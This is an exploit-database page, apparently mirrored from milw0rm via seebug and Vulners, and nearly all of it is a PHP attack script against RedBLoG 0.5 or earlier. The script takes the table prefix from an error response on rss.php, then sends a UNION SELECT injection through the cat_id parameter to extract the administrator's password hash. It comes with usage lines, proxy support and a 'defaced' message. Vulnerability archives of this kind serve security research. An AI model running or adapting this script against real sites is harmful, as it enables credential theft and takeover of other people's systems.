Lucene search
K

RedBLoG <= 0.5 (cat_id) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

RedBLoG <= 0.5 Remote SQL Injection Exploi

Code

                                                &#60;?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded(&#39;php_curl&#39;))
    {
       if (!dl(&#39;curl.so&#39;) and !dl(&#39;php_curl.so&#39;) and !dl(&#39;php_curl.dll&#39;))
       die (&#34;oo error - cannot load curl extension!&#34;);
    }
}

function xss_header()
{
    echo &#34;\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#34;;
    echo &#34;                                  oo    ooooooo     ooooooo\n&#34;;
    echo &#34;                    oooo   oooo o888  o88     888 o888   888o\n&#34;;
    echo &#34;                      888o888    888        o888   888888888\n&#34;;
    echo &#34;                      o88888o    888     o888   o 888o   o888\n&#34;;
    echo &#34;                    o88o   o88o o888o o8888oooo88   88ooo88\n&#34;;
    echo &#34;ooooooooooooooooooooooooooooo redblog 0.5 exploit ooooooooooooooooooooooooooooo\n&#34;;
    echo &#34;oo usage          $ php redblog-05-exploit.php [url]\n&#34;;
    echo &#34;oo proxy support  $ php redblog-05-exploit.php [url] [proxy]:[port]\n&#34;;
    echo &#34;oo example        $ php redblog-05-exploit.php http://localhost\n&#34;;
    echo &#34;oo print the password of the administrator\n\n&#34;;
}

function xss_bottom()
{
    echo &#34;\noo discover : x128 - alexander wilhelm - 09/03/2006\n&#34;;
    echo &#34;oo contact  : exploit &#60;at&#62; x128.net                    oo website : www.x128.net&#34;;
}

function xss_exploit()
{
    $xss_target = $_SERVER[&#39;argv&#39;][1] . &#34;/modules/blog/rss.php&#34;;
    $xss_http_get = &#34;?cat_id=x128&#34;;

    $xss_connection = curl_init();

    if ($_SERVER[&#39;argv&#39;][2])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER[&#39;argv&#39;][2]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, &#39;x128&#39;);

    $xss_source = curl_exec($xss_connection) or die(&#34;oo error - cannot connect!\n&#34;);
    
    preg_match(&#34;/FROM ([0-9a-zA-Z_]*)posts/&#34;, $xss_source, $xss_prefix);

    $xss_http_get = &#34;?cat_id=&#34; . urlencode(&#34;0 UNION SELECT 1,config_value,1,1,1,1,1,1 FROM &#34; . $xss_prefix[1] . &#34;general_config/*&#34;);
    $xss_source = curl_exec($xss_connection) or die(&#34;oo error - cannot connect!\n&#34;);

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die(&#34;oo error - cannot connect!\n&#34;);
    preg_match(&#34;/&#60;title&#62;([0-9a-f]{32})&#60;\/title&#62;/&#34;, $xss_source, $xss_output);
    
    if ($xss_output[0])
    {
        echo &#34;oo password       &#34; . $xss_output[1] . &#34;\n\n&#34;;
        echo &#34;oo dafaced ...\n&#34;;
    }

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?&#62;

# milw0rm.com [2006-03-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13